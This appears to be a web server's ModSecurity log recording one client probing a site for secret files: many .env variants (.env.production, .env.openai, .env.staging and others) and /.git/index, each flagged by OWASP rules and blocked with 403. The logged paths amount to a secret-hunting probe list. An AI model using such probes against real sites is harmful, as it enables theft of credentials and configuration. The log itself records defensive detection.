[Mon Oct 26 22:21:30.965198 2026] [security2:error] [pid 3142594:tid 3142594] [client 34.79.59.9:44690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.php"] [unique_id "auAKqhkou2qdsNUCdU6xtQAAAA8"]
[Mon Oct 26 22:21:30.965447 2026] [security2:error] [pid 3142594:tid 3142594] [client 34.79.59.9:44690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.php"] [unique_id "auAKqhkou2qdsNUCdU6xtQAAAA8"]
[Mon Oct 26 22:21:30.972185 2026] [security2:error] [pid 3128624:tid 3128624] [client 34.79.59.9:44634] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "auAKqi-AKBd00cmosRNJLAAAAAE"]
[Mon Oct 26 22:21:30.972393 2026] [security2:error] [pid 3128624:tid 3128624] [client 34.79.59.9:44634] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "auAKqi-AKBd00cmosRNJLAAAAAE"]
[Mon Oct 26 22:21:30.973485 2026] [security2:error] [pid 3130075:tid 3130075] [client 34.79.59.9:44710] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.production"] [unique_id "auAKqrRvv9rueX6FuiOcnAAAAAM"]
[Mon Oct 26 22:21:30.973613 2026] [security2:error] [pid 3130075:tid 3130075] [client 34.79.59.9:44710] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.production"] [unique_id "auAKqrRvv9rueX6FuiOcnAAAAAM"]
[Mon Oct 26 22:21:31.014818 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.59.9:44698] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "auAKq3fB5_cr2AuVp7R3xAAAABA"]
[Mon Oct 26 22:21:31.015070 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.59.9:44698] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "auAKq3fB5_cr2AuVp7R3xAAAABA"]
[Mon Oct 26 22:21:31.084785 2026] [security2:error] [pid 3142594:tid 3142594] [client 34.79.59.9:44690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqhkou2qdsNUCdU6xtQAAAA8"]
[Mon Oct 26 22:21:31.107624 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.59.9:44698] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKq3fB5_cr2AuVp7R3xAAAABA"]
[Mon Oct 26 22:21:31.107714 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.59.9:44698] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKq3fB5_cr2AuVp7R3xAAAABA"]
[Mon Oct 26 22:21:31.107744 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.59.9:44698] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKq3fB5_cr2AuVp7R3xAAAABA"]
[Mon Oct 26 22:21:31.117507 2026] [security2:error] [pid 3128624:tid 3128624] [client 34.79.59.9:44634] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqi-AKBd00cmosRNJLAAAAAE"]
[Mon Oct 26 22:21:31.123217 2026] [security2:error] [pid 3130075:tid 3130075] [client 34.79.59.9:44710] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqrRvv9rueX6FuiOcnAAAAAM"]
[Mon Oct 26 22:21:31.195682 2026] [security2:error] [pid 3142581:tid 3142581] [client 34.79.59.9:44726] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.save"] [unique_id "auAKq-NHR3WH6txPzi7mDwAAAA0"]
[Mon Oct 26 22:21:31.195980 2026] [security2:error] [pid 3142581:tid 3142581] [client 34.79.59.9:44726] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.save"] [unique_id "auAKq-NHR3WH6txPzi7mDwAAAA0"]
[Mon Oct 26 22:21:31.215869 2026] [security2:error] [pid 3138664:tid 3138664] [client 34.79.59.9:44732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "auAKqxeVSgSHzoeHTZ6bjQAAAAg"]
[Mon Oct 26 22:21:31.216048 2026] [security2:error] [pid 3138664:tid 3138664] [client 34.79.59.9:44732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.swp"] [unique_id "auAKqxeVSgSHzoeHTZ6bjQAAAAg"]
[Mon Oct 26 22:21:31.229980 2026] [security2:error] [pid 3138664:tid 3138664] [client 34.79.59.9:44732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqxeVSgSHzoeHTZ6bjQAAAAg"]
[Mon Oct 26 22:21:31.240678 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.79.59.9:44716] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "auAKqzS1e-yu7xYT1dr9uAAAAAk"]
[Mon Oct 26 22:21:31.240878 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.79.59.9:44716] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "auAKqzS1e-yu7xYT1dr9uAAAAAk"]
[Mon Oct 26 22:21:31.264006 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.79.59.9:44716] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqzS1e-yu7xYT1dr9uAAAAAk"]
[Mon Oct 26 22:21:31.268579 2026] [security2:error] [pid 3142580:tid 3142580] [client 34.79.59.9:44674] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.openai"] [unique_id "auAKq1EGzjBJO_o-KWJAagAAAAw"]
[Mon Oct 26 22:21:31.268789 2026] [security2:error] [pid 3142580:tid 3142580] [client 34.79.59.9:44674] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.openai"] [unique_id "auAKq1EGzjBJO_o-KWJAagAAAAw"]
[Mon Oct 26 22:21:31.281242 2026] [security2:error] [pid 3142580:tid 3142580] [client 34.79.59.9:44674] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKq1EGzjBJO_o-KWJAagAAAAw"]
[Mon Oct 26 22:21:31.920509 2026] [security2:error] [pid 3142609:tid 3142609] [client 34.79.59.9:44750] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.test"] [unique_id "auAKqzn96kgfj4Hvy1IbVgAAABY"]
[Mon Oct 26 22:21:31.920790 2026] [security2:error] [pid 3142609:tid 3142609] [client 34.79.59.9:44750] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.test"] [unique_id "auAKqzn96kgfj4Hvy1IbVgAAABY"]
[Mon Oct 26 22:21:31.960175 2026] [security2:error] [pid 3142581:tid 3142581] [client 34.79.59.9:44726] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKq-NHR3WH6txPzi7mDwAAAA0"]
[Mon Oct 26 22:21:31.960859 2026] [security2:error] [pid 3142609:tid 3142609] [client 34.79.59.9:44750] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqzn96kgfj4Hvy1IbVgAAABY"]
[Mon Oct 26 22:21:32.031351 2026] [security2:error] [pid 3142608:tid 3142608] [client 34.79.59.9:44764] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "auAKrBaMmwhJoR3rEaRuFgAAABU"]
[Mon Oct 26 22:21:32.031632 2026] [security2:error] [pid 3142608:tid 3142608] [client 34.79.59.9:44764] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.testing"] [unique_id "auAKrBaMmwhJoR3rEaRuFgAAABU"]
[Mon Oct 26 22:21:32.043146 2026] [security2:error] [pid 3142608:tid 3142608] [client 34.79.59.9:44764] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKrBaMmwhJoR3rEaRuFgAAABU"]
[Mon Oct 26 22:21:32.132648 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:44772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env~"] [unique_id "auAKrM8F3ZZVbqNCqKaAcQAAAAo"]
[Mon Oct 26 22:21:32.132881 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:44772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env~"] [unique_id "auAKrM8F3ZZVbqNCqKaAcQAAAAo"]
[Mon Oct 26 22:21:32.144159 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:44772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKrM8F3ZZVbqNCqKaAcQAAAAo"]
[Mon Oct 26 22:21:32.237669 2026] [security2:error] [pid 3142606:tid 3142606] [client 34.79.59.9:44738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "auAKrJwShtd1X0LKqV8TPgAAABM"]
[Mon Oct 26 22:21:32.237978 2026] [security2:error] [pid 3142606:tid 3142606] [client 34.79.59.9:44738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "auAKrJwShtd1X0LKqV8TPgAAABM"]
[Mon Oct 26 22:21:32.249014 2026] [security2:error] [pid 3142606:tid 3142606] [client 34.79.59.9:44738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKrJwShtd1X0LKqV8TPgAAABM"]
[Mon Oct 26 22:21:32.480198 2026] [security2:error] [pid 3142616:tid 3142616] [client 34.79.59.9:44794] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.git/index"] [unique_id "auAKrN1dvidlkL5qlt-WEwAAABk"]
[Mon Oct 26 22:21:32.480550 2026] [security2:error] [pid 3142616:tid 3142616] [client 34.79.59.9:44794] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.git/index"] [unique_id "auAKrN1dvidlkL5qlt-WEwAAABk"]
